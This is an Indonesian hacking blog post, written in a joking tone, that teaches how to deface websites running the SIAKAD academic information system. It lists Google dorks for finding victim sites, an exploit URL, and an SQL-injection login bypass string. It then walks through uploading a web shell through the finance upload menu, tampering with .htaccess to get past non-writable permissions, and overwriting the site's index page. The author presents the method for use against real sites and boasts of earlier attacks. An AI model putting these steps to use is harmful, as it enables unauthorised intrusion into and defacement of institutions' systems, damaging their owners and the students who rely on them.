_MisterNotFound_ Official Blog: Learn Deface Website

Deface Web Metode Bypass Admin on CMS SIAKAD

<div dir="ltr" style="text-align: left;" trbidi="on">
Hay gan-sist 
Meet again nih dengan admin ganteng, hehe 
Di artikel ini kita akan mempelajari ilmu para script kiddies, yaitu Deface Web. Tepatnya, disini lo akan mempelajari Deface web dengan teknik bypass admin pada CMS SIAKAD (Sistem Informasi Akademik) 
Oiya, sebelumnya Taqqobalallohu Mina Wa Minkum , Mohon maaf lahir batin guys. Maapin gua kalo gua punya banyaaakkk salah ke lo semua, termasuk para admin web yang web-nya pernah gua anu anu hehe ;) Maapin gua juga kalo gua jarang post, hehe. Ojo lali sundul THR nya ke gua yo wkwk :p 
Oke oke, gak usah banyak cincong lagi, langsung otw ke topik pembahasan.. 
 
 
<a href="https://www.youtube.com/watch?v=adf1QTfwcCA" target="_blank">Shortcut : Click Here For Watch Tutorial Video on Youtube</a> 
 
 
[+] Sesajen : 
 
1. Dork : 
<blockquote class="tr_bq">
/?mnux=login&lgn=frm siakad inurl:"?mnux=" intext:siakad inurl:"?mnux=" intext:akademik inurl:"?mnux=" intext:sisfo inurl:"?mnux=" site:id inurl:"?mnux=" site:com inurl:"?mnux=" site:net</blockquote>
 NOTE : Pilih salah satu dork nya mbah  
 
 
2. Exploit : 
 
<blockquote>
/?mnux</blockquote>
ATAU 
<blockquote>
/?mnux=login&lgn=frm&lid=1&nme=Superuser</blockquote>
 
3. Bypass : 
'=''or' 
 
4. Shell Access : 
/tmpbank/your-shell.php 
 
 
[+] Jampi-jampi : 
 
 1. Seperti biasa, gunakan dork untuk mencari target dengan cara Masukan dork ke mbah google, lalu pilih target lo. 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjV1HBiFQsd4DWK1rsomF9_AvhDXo2qxX9UD_S0qkhdqbah4f5M9T_7Dma0DCwiE6QMkSsOWZExm7U6JbYBOWx47eVenzSudgvIji110SALfNfEiBuLEIR_tjKqn-8go9ZCQYsQHf4BwF4/s1600/Cuplikan+layar+dari+2016-07-05+09%253A10%253A20.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjV1HBiFQsd4DWK1rsomF9_AvhDXo2qxX9UD_S0qkhdqbah4f5M9T_7Dma0DCwiE6QMkSsOWZExm7U6JbYBOWx47eVenzSudgvIji110SALfNfEiBuLEIR_tjKqn-8go9ZCQYsQHf4BwF4/s640/Cuplikan+layar+dari+2016-07-05+09%253A10%253A20.png" width="640" /></a></div>
 
  
2. Setelah pilih target, masukkan exploit-nya 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguU6lPycpoo93OHNQDe_bm5t9Y6YPOB037T_QUkBJwuTdV9IPSkZL7_Hy5l6oJO3RtCwmWa_fnD4F35fkzrvntw2SO3pr635i2Z2Knu9aZesGR40xYNBOdoYpPOGM1XpJdfJGgBcFz2Bg/s1600/Cuplikan+layar+dari+2016-07-05+09%253A13%253A32.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguU6lPycpoo93OHNQDe_bm5t9Y6YPOB037T_QUkBJwuTdV9IPSkZL7_Hy5l6oJO3RtCwmWa_fnD4F35fkzrvntw2SO3pr635i2Z2Knu9aZesGR40xYNBOdoYpPOGM1XpJdfJGgBcFz2Bg/s640/Cuplikan+layar+dari+2016-07-05+09%253A13%253A32.png" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXygTcXyquj_aqnYz_dCcdsmjjyAIAvZMvNd6uhsOQOcaJCsvAWMXlzqlt-_qNmW07YnPE_QHXVN1rLfnwZYcmSA8G-Zeo0VxabqE8ciye09PsS8LRHG_Fp6XgD32Z0lMZNC-N2WY0-bk/s1600/Cuplikan+layar+dari+2016-07-05+09%253A13%253A57.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXygTcXyquj_aqnYz_dCcdsmjjyAIAvZMvNd6uhsOQOcaJCsvAWMXlzqlt-_qNmW07YnPE_QHXVN1rLfnwZYcmSA8G-Zeo0VxabqE8ciye09PsS8LRHG_Fp6XgD32Z0lMZNC-N2WY0-bk/s640/Cuplikan+layar+dari+2016-07-05+09%253A13%253A57.png" width="640" /></a></div>
 
 
 
 
3. Lalu bypass page admin-nya. 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdWt5zzsYh1hdr56LvLVhOEtCLQ4-8eLgIL3M1Nj1IcaV6AzEUScOy-cRSmiPhPS1mGLGNPtB3lXWahioMZ0XttS9E6H1jOXe9xLuxrhtz7z6ei-pSkEOrtHtoK3SFY7ER_PeRY-Z54Yk/s1600/Cuplikan+layar+dari+2016-07-05+09%253A14%253A47.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdWt5zzsYh1hdr56LvLVhOEtCLQ4-8eLgIL3M1Nj1IcaV6AzEUScOy-cRSmiPhPS1mGLGNPtB3lXWahioMZ0XttS9E6H1jOXe9xLuxrhtz7z6ei-pSkEOrtHtoK3SFY7ER_PeRY-Z54Yk/s640/Cuplikan+layar+dari+2016-07-05+09%253A14%253A47.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
 </div>
 
4. Kalo lo gak jones, lo bakal masuk ke page admin-nya, kayak gua wkwk B-) 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhznrk5M7BgkMqDWjhbEAPiQFAtnqfHzdAaCeiMGX_5GCye9cQzc8AlRyzq9hPXGlf4wMmJ63_g-dV2-ylS7gg-FfDo0dTcdzBLQrQhwEVz7sNcBIAXghTsWuUM6yxsDOQpeNETe_K8rho/s1600/Cuplikan+layar+dari+2016-07-05+09%253A15%253A29.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhznrk5M7BgkMqDWjhbEAPiQFAtnqfHzdAaCeiMGX_5GCye9cQzc8AlRyzq9hPXGlf4wMmJ63_g-dV2-ylS7gg-FfDo0dTcdzBLQrQhwEVz7sNcBIAXghTsWuUM6yxsDOQpeNETe_K8rho/s640/Cuplikan+layar+dari+2016-07-05+09%253A15%253A29.png" width="640" /></a></div>
 
 
5. Lalu pergi ke menu Keuangan > File Biaya Mahasiswa 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzxE3Uy8rs3Jvuv6WxgZU4O_nW3EznTS4tj18Jc45vzBGRzQl4kqmT9tXTUcN8A8mUeIWSAkW2SzajPRlmoZ_ksqFBpr6awO5DimmRSn62-IjoAv7olyHFupMcstZM3tDdP3ISYfC2n1I/s1600/Cuplikan+layar+dari+2016-07-05+09%253A15%253A42.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzxE3Uy8rs3Jvuv6WxgZU4O_nW3EznTS4tj18Jc45vzBGRzQl4kqmT9tXTUcN8A8mUeIWSAkW2SzajPRlmoZ_ksqFBpr6awO5DimmRSn62-IjoAv7olyHFupMcstZM3tDdP3ISYfC2n1I/s640/Cuplikan+layar+dari+2016-07-05+09%253A15%253A42.png" width="640" /></a></div>
 
 
6. Isi form nya asal aja, guys. Terus pilih Upload File dari Bank 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh6ji44ZO-ltZR3FRfV7xLrY19lgx82FgLx1CYsgyk6QHUkwDpDA2Ifxrea3QpqMPkE7ow_wBXyduQGtXq4BZSGgMz2ZURSjodw-1V9diWv6CaWpI6YbQG4zmZbo_ChFCzni29rxUbFUc/s1600/Cuplikan+layar+dari+2016-07-05+09%253A16%253A33.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh6ji44ZO-ltZR3FRfV7xLrY19lgx82FgLx1CYsgyk6QHUkwDpDA2Ifxrea3QpqMPkE7ow_wBXyduQGtXq4BZSGgMz2ZURSjodw-1V9diWv6CaWpI6YbQG4zmZbo_ChFCzni29rxUbFUc/s640/Cuplikan+layar+dari+2016-07-05+09%253A16%253A33.png" width="640" /></a></div>
 
 
7. Next, Upload your shell, suckers. Dan tunggu hingga Shell berhasil di upload. 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzGZMI1KV4LZZOwQKYJmHES0CvE9dpVoAOEZ-gMJtN4JjpWtVoAwIb-L0mPlcSxB99-SKfE6SOgCzZ9cpYkEWXJZaGtQGFZBMowpizv9Hu8LM99eCtK6O7nedzjbfUUXKaXLr3l-efxWk/s1600/Cuplikan+layar+dari+2016-07-05+09%253A17%253A38.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzGZMI1KV4LZZOwQKYJmHES0CvE9dpVoAOEZ-gMJtN4JjpWtVoAwIb-L0mPlcSxB99-SKfE6SOgCzZ9cpYkEWXJZaGtQGFZBMowpizv9Hu8LM99eCtK6O7nedzjbfUUXKaXLr3l-efxWk/s640/Cuplikan+layar+dari+2016-07-05+09%253A17%253A38.png" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTM_78x1eN2iKS88Ih7ZFsjywyEkuFAt-k4SQ0S-sgRzG8hXdJkHXXIjZpu0CSarzkptZKImxvCm3CKH6-9lEe-47wDzTMzPJaM3GZnb6sqITu1TqgO_SDmzhqi-wTG_lK2iimpStlNvA/s1600/Cuplikan+layar+dari+2016-07-05+09%253A17%253A47.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTM_78x1eN2iKS88Ih7ZFsjywyEkuFAt-k4SQ0S-sgRzG8hXdJkHXXIjZpu0CSarzkptZKImxvCm3CKH6-9lEe-47wDzTMzPJaM3GZnb6sqITu1TqgO_SDmzhqi-wTG_lK2iimpStlNvA/s640/Cuplikan+layar+dari+2016-07-05+09%253A17%253A47.png" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaaFoeWVeuvYSg4dSHw31jYP5XDSVPuFGaJ1Isjzw2jJvvvaJ5lnVv-bXlco2D3AhLChQvYKpf3cgWJ5uUFi_8Uwp-8QymWIa6SBuIigQFaDwcSvugVmVwsrvg7sPSrhaSxkP8u3g6nyk/s1600/Cuplikan+layar+dari+2016-07-05+09%253A17%253A51.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaaFoeWVeuvYSg4dSHw31jYP5XDSVPuFGaJ1Isjzw2jJvvvaJ5lnVv-bXlco2D3AhLChQvYKpf3cgWJ5uUFi_8Uwp-8QymWIa6SBuIigQFaDwcSvugVmVwsrvg7sPSrhaSxkP8u3g6nyk/s640/Cuplikan+layar+dari+2016-07-05+09%253A17%253A51.png" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVSHML04aERpoGEDTItF63hW624GBNJ-eDmJMrx87DpaqlU88mPrmE22fYxueSN1OLtiZfOUskmR1PhUJButCdCtaCnwGsrgqTHb80DomHuFegVxtmaOUP7Vpf5Sghcl1Kwrz1F5aSKnA/s1600/Cuplikan+layar+dari+2016-07-05+09%253A18%253A16.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVSHML04aERpoGEDTItF63hW624GBNJ-eDmJMrx87DpaqlU88mPrmE22fYxueSN1OLtiZfOUskmR1PhUJButCdCtaCnwGsrgqTHb80DomHuFegVxtmaOUP7Vpf5Sghcl1Kwrz1F5aSKnA/s640/Cuplikan+layar+dari+2016-07-05+09%253A18%253A16.png" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTA3nKjZEN7iybm_vbjb4KXzJ-GsCGsdHfqXEcwxuXOl6TZKHI2TrHiM_abPTNtn8-27BElaVMnNfEwTkKB2CkNpUwpj0X6Jgt4knWywPHRVfSBL9-37YJR_mvlLPYdWtwgPdHuqdKizc/s1600/Cuplikan+layar+dari+2016-07-05+09%253A18%253A21.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="359" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTA3nKjZEN7iybm_vbjb4KXzJ-GsCGsdHfqXEcwxuXOl6TZKHI2TrHiM_abPTNtn8-27BElaVMnNfEwTkKB2CkNpUwpj0X6Jgt4knWywPHRVfSBL9-37YJR_mvlLPYdWtwgPdHuqdKizc/s640/Cuplikan+layar+dari+2016-07-05+09%253A18%253A21.png" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgj-hazPze0q2Vi4a_j8mzT3UF6mGG9qVG-fqfltSeI3nu6Z9LxEq-XfK-v0rnwdhm_pjTIJs9gON-lfIZbva-JYTmQTXktHiYxI4GLkzMt5-_yYK9eHuV5VyWCwlY1G2kcsk36Qt7bwdo/s1600/Cuplikan+layar+dari+2016-07-05+09%253A19%253A08.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgj-hazPze0q2Vi4a_j8mzT3UF6mGG9qVG-fqfltSeI3nu6Z9LxEq-XfK-v0rnwdhm_pjTIJs9gON-lfIZbva-JYTmQTXktHiYxI4GLkzMt5-_yYK9eHuV5VyWCwlY1G2kcsk36Qt7bwdo/s640/Cuplikan+layar+dari+2016-07-05+09%253A19%253A08.png" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi43nm13nk5MFfokV-kQ2ENBtuAeIWrRHlHG2TipDCdYVyS8Txe9NxqXoZb-ms_xi6JulSoi02_DuUeg7BNrqlYo7iBTCqAo_AcTRuLD0eXQkqhKkI4OiGRJnY6GpDTLtWLyVkqhCt963Y/s1600/Cuplikan+layar+dari+2016-07-05+09%253A20%253A24.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="359" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi43nm13nk5MFfokV-kQ2ENBtuAeIWrRHlHG2TipDCdYVyS8Txe9NxqXoZb-ms_xi6JulSoi02_DuUeg7BNrqlYo7iBTCqAo_AcTRuLD0eXQkqhKkI4OiGRJnY6GpDTLtWLyVkqhCt963Y/s640/Cuplikan+layar+dari+2016-07-05+09%253A20%253A24.png" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg95Fji8FO0ajJOUxBJWA4lJDhj-VUYAvVHbDiCZ3X555o1dtkKxuXC8ClJUyCTknW7nN07OYDO-aUoAUvv2_wzho5ln6tLgaFGcWnSeXo7_m6ZZQ70YouVubGd41MGEINFLIGqqqr1IJE/s1600/Cuplikan+layar+dari+2016-07-05+09%253A20%253A55.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="359" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg95Fji8FO0ajJOUxBJWA4lJDhj-VUYAvVHbDiCZ3X555o1dtkKxuXC8ClJUyCTknW7nN07OYDO-aUoAUvv2_wzho5ln6tLgaFGcWnSeXo7_m6ZZQ70YouVubGd41MGEINFLIGqqqr1IJE/s640/Cuplikan+layar+dari+2016-07-05+09%253A20%253A55.png" width="640" /></a></div>
 
 
8. Yeayy, Shell had been Uploaded 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZGn4_SPNF5RCx6OcWq7vdhj6LJe4tgPAEG4S0l0wBAqyXTLvaFy2MJQNlaeAL24i7iMrwE8YZd9F5Vbg9rC7DnGFDcNDBFAS8GtHJfJEyAVcq2ozqR1B_fvKjggPbge0fbdHaeiZM8qI/s1600/Cuplikan+layar+dari+2016-07-05+09%253A21%253A35.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZGn4_SPNF5RCx6OcWq7vdhj6LJe4tgPAEG4S0l0wBAqyXTLvaFy2MJQNlaeAL24i7iMrwE8YZd9F5Vbg9rC7DnGFDcNDBFAS8GtHJfJEyAVcq2ozqR1B_fvKjggPbge0fbdHaeiZM8qI/s640/Cuplikan+layar+dari+2016-07-05+09%253A21%253A35.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgg550bfy232qSYkRCnbLXq3BsITTExA4BvroKKP1WxPzx4roCVzXA1K7T_gpFNIuh6Ao_Xslwqcyzh46fsTHNynerUc7R4WnA3WvgUuH0NM0efPkzfP85OeiJnpgIusjEGRuevjiUlsGw/s1600/Cuplikan+layar+dari+2016-07-05+09%253A22%253A38.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgg550bfy232qSYkRCnbLXq3BsITTExA4BvroKKP1WxPzx4roCVzXA1K7T_gpFNIuh6Ao_Xslwqcyzh46fsTHNynerUc7R4WnA3WvgUuH0NM0efPkzfP85OeiJnpgIusjEGRuevjiUlsGw/s640/Cuplikan+layar+dari+2016-07-05+09%253A22%253A38.png" width="640" /></a></div>
 
 
9. Lalu pergi ke direktori utama pada situs target.  Biasanya terletak di /public_html/ tapi disini gua mendapatkan target dengan direktori utama /var/www/ 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0OFZpd3AgetlQUqIC2goJ-NJ4ayzXF8kBl7qf1RNpfhThq81bkemzT-chszU46nolaTy2EpOYjVfKUGarks93XUuVxfTLXTHC6I6wVeBL4W74SYbFMRtj9xojjte2aSKMHiW80A3n-qk/s1600/Cuplikan+layar+dari+2016-07-05+09%253A23%253A06.png" imageanchor="1"><img border="0" height="359" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0OFZpd3AgetlQUqIC2goJ-NJ4ayzXF8kBl7qf1RNpfhThq81bkemzT-chszU46nolaTy2EpOYjVfKUGarks93XUuVxfTLXTHC6I6wVeBL4W74SYbFMRtj9xojjte2aSKMHiW80A3n-qk/s640/Cuplikan+layar+dari+2016-07-05+09%253A23%253A06.png" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
</div>
10.Disitu terlihat permission nya Not Writable. Ini menjadi penghalang oleh para Defacer untuk menebas index aslinya. So, mari kita bermain dengan .htaccess 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsTwjC4npvkBhiVX0Hob-Hv0u_6Sv3NFEXeZL1o0Dmla8NC39-fac6rTwPC6FKSNbHAaO52mqCxVM6nMpkH01Ohmu7KPnhPkvZFu0LATUnvmsIWbHOUZT3DJbT8YGPWh8FLeWfjDIVO6c/s1600/Cuplikan+layar+dari+2016-07-05+08%253A44%253A17.png" imageanchor="1"><img border="0" height="359" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsTwjC4npvkBhiVX0Hob-Hv0u_6Sv3NFEXeZL1o0Dmla8NC39-fac6rTwPC6FKSNbHAaO52mqCxVM6nMpkH01Ohmu7KPnhPkvZFu0LATUnvmsIWbHOUZT3DJbT8YGPWh8FLeWfjDIVO6c/s640/Cuplikan+layar+dari+2016-07-05+08%253A44%253A17.png" width="640" /></a></div>
 
<div style="text-align: center;">
pada file .htaccess dibawah ini, terlihat bagwa ExpiresActive dalam keadaan On, maka mati-kan lah, dengan merubah On menjadi Off</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgD21TvUNP8AwvCfglZRS7_k6LuXMq1lDJ4Ud8WVuR0I9zRL1gD_23NHfGp7W4vSwZOJ1SVMSqh8cBnWCe1iZ1qP6DjFf_Keku7nb-6NX0lFLGV81Lah8EHwvg8Txm5WY6i3HuD1joszMc/s1600/Cuplikan+layar+dari+2016-07-05+08%253A45%253A51.png" imageanchor="1"><img border="0" height="359" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgD21TvUNP8AwvCfglZRS7_k6LuXMq1lDJ4Ud8WVuR0I9zRL1gD_23NHfGp7W4vSwZOJ1SVMSqh8cBnWCe1iZ1qP6DjFf_Keku7nb-6NX0lFLGV81Lah8EHwvg8Txm5WY6i3HuD1joszMc/s640/Cuplikan+layar+dari+2016-07-05+08%253A45%253A51.png" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjp4hxg9quqz52VIOTGws-WzQ_CGKLwg4y2px_eB7HgR2OXClW5zFcUN4N8xdHMmpwhCeMxgAM__MxlMLbBrcDmE4XFfd4NeLSHs761lpcwr1V1am05TxFI4VFJhUmCve0myNb3tHTRZrI/s1600/Cuplikan+layar+dari+2016-07-05+08%253A46%253A05.png" imageanchor="1"><img border="0" height="359" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjp4hxg9quqz52VIOTGws-WzQ_CGKLwg4y2px_eB7HgR2OXClW5zFcUN4N8xdHMmpwhCeMxgAM__MxlMLbBrcDmE4XFfd4NeLSHs761lpcwr1V1am05TxFI4VFJhUmCve0myNb3tHTRZrI/s640/Cuplikan+layar+dari+2016-07-05+08%253A46%253A05.png" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_lxfTNQJVBNGWiftPGn3B1831n6ambM2PFzBzsuTafoZtBFwPDbSRJaSdvtBp9WQs0iaZvoFgzJlgzZSgzprtONczA2vGo-I9dQVehEqulaJ6_51H-pLa-95WJmzC84r5RuKOuyteKOE/s1600/Cuplikan+layar+dari+2016-07-05+08%253A46%253A12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="359" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_lxfTNQJVBNGWiftPGn3B1831n6ambM2PFzBzsuTafoZtBFwPDbSRJaSdvtBp9WQs0iaZvoFgzJlgzZSgzprtONczA2vGo-I9dQVehEqulaJ6_51H-pLa-95WJmzC84r5RuKOuyteKOE/s640/Cuplikan+layar+dari+2016-07-05+08%253A46%253A12.png" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeAKH_DCXryoV2-16yJupHI7ME-s656cflp44nF9x5343kRBNuT5erSOxHgqAtN25E7ZfrXW4mB7t9J93zh8xuuqTuDpo7pgCh_vTEFDMBDQ05U9ZkCksrmr2evxcbI9AoiJRZvuIPVN0/s1600/Cuplikan+layar+dari+2016-07-05+08%253A46%253A20.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="359" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeAKH_DCXryoV2-16yJupHI7ME-s656cflp44nF9x5343kRBNuT5erSOxHgqAtN25E7ZfrXW4mB7t9J93zh8xuuqTuDpo7pgCh_vTEFDMBDQ05U9ZkCksrmr2evxcbI9AoiJRZvuIPVN0/s640/Cuplikan+layar+dari+2016-07-05+08%253A46%253A20.png" width="640" /></a></div>
 
 
11. Tahap yang dinantikan oleh para defacer. Yapss, menebas index. 
 
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMOec6d84oyjuzur99vlVWkL1WndKJUKK9MHvjK-QAhcGQdOYLoijzEvv67N0dfzyV3fMKnP61zrbke-VlzcayCZUl50hnrkJMNJwpULMEE_Z0lKxAX7QCHhP-ycUR5YTNf2loxn12v0M/s1600/Cuplikan+layar+dari+2016-07-05+08%253A47%253A43.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="359" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMOec6d84oyjuzur99vlVWkL1WndKJUKK9MHvjK-QAhcGQdOYLoijzEvv67N0dfzyV3fMKnP61zrbke-VlzcayCZUl50hnrkJMNJwpULMEE_Z0lKxAX7QCHhP-ycUR5YTNf2loxn12v0M/s640/Cuplikan+layar+dari+2016-07-05+08%253A47%253A43.png" width="640" /></a> 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiX276yUdoN4lVbXSXFuWpXBX5Hhf2dezkVeW5-GR2jKzheYP9a9P19D_mha7_jHfMoBbpTpET04yUmK9DDOeXH1G1l73OSm65DFaXHqLxPBQB4R3mip8nf9fobsHRh-lOWsdSTa-_epsE/s1600/Cuplikan+layar+dari+2016-07-05+08%253A48%253A50.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiX276yUdoN4lVbXSXFuWpXBX5Hhf2dezkVeW5-GR2jKzheYP9a9P19D_mha7_jHfMoBbpTpET04yUmK9DDOeXH1G1l73OSm65DFaXHqLxPBQB4R3mip8nf9fobsHRh-lOWsdSTa-_epsE/s640/Cuplikan+layar+dari+2016-07-05+08%253A48%253A50.png" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRlnEJCwf0DjwqvfJt2l0GFM-AzUcfr2K4tWTxUH9Odxe9u3yeXjOrbK4HTE8w2cK4dhiHTugEZEa_XCrA7hAypmOc0KDj-fNRklVDlJZa9kCwYW8Lu31dZ2200UrdN2RwFebyp1ePAFw/s1600/Cuplikan+layar+dari+2016-07-05+08%253A48%253A58.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRlnEJCwf0DjwqvfJt2l0GFM-AzUcfr2K4tWTxUH9Odxe9u3yeXjOrbK4HTE8w2cK4dhiHTugEZEa_XCrA7hAypmOc0KDj-fNRklVDlJZa9kCwYW8Lu31dZ2200UrdN2RwFebyp1ePAFw/s640/Cuplikan+layar+dari+2016-07-05+08%253A48%253A58.png" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxvVGp3zFnOxwoZzazIQyK1zSH6xIb3g55bz8s8ZAlIBy3zi_CMN3tU8L8jJW3FMCVsVfzXhkeFiG889P0qEzjKDkaRE2voU_5gE-rVycCBr0ZnPsmfFg1zqx-DdJpl5_L-ubBWdH2T6k/s1600/Cuplikan+layar+dari+2016-07-05+08%253A49%253A01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxvVGp3zFnOxwoZzazIQyK1zSH6xIb3g55bz8s8ZAlIBy3zi_CMN3tU8L8jJW3FMCVsVfzXhkeFiG889P0qEzjKDkaRE2voU_5gE-rVycCBr0ZnPsmfFg1zqx-DdJpl5_L-ubBWdH2T6k/s640/Cuplikan+layar+dari+2016-07-05+08%253A49%253A01.png" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGadQn80EGMX_zIjWzFo5D-sL02DacIP_SkPgz7uQ_-ZRpBJgs3Smhdf6_w6u_gg8jHdYNA-M1S9oMFCrozYwa2kLNbL_CQL0dfPZ5Xo0vCTHaviuw0K5G7AzIT9FW9adTFOE7Xvq5LNU/s1600/Cuplikan+layar+dari+2016-07-05+08%253A50%253A30.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGadQn80EGMX_zIjWzFo5D-sL02DacIP_SkPgz7uQ_-ZRpBJgs3Smhdf6_w6u_gg8jHdYNA-M1S9oMFCrozYwa2kLNbL_CQL0dfPZ5Xo0vCTHaviuw0K5G7AzIT9FW9adTFOE7Xvq5LNU/s640/Cuplikan+layar+dari+2016-07-05+08%253A50%253A30.png" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
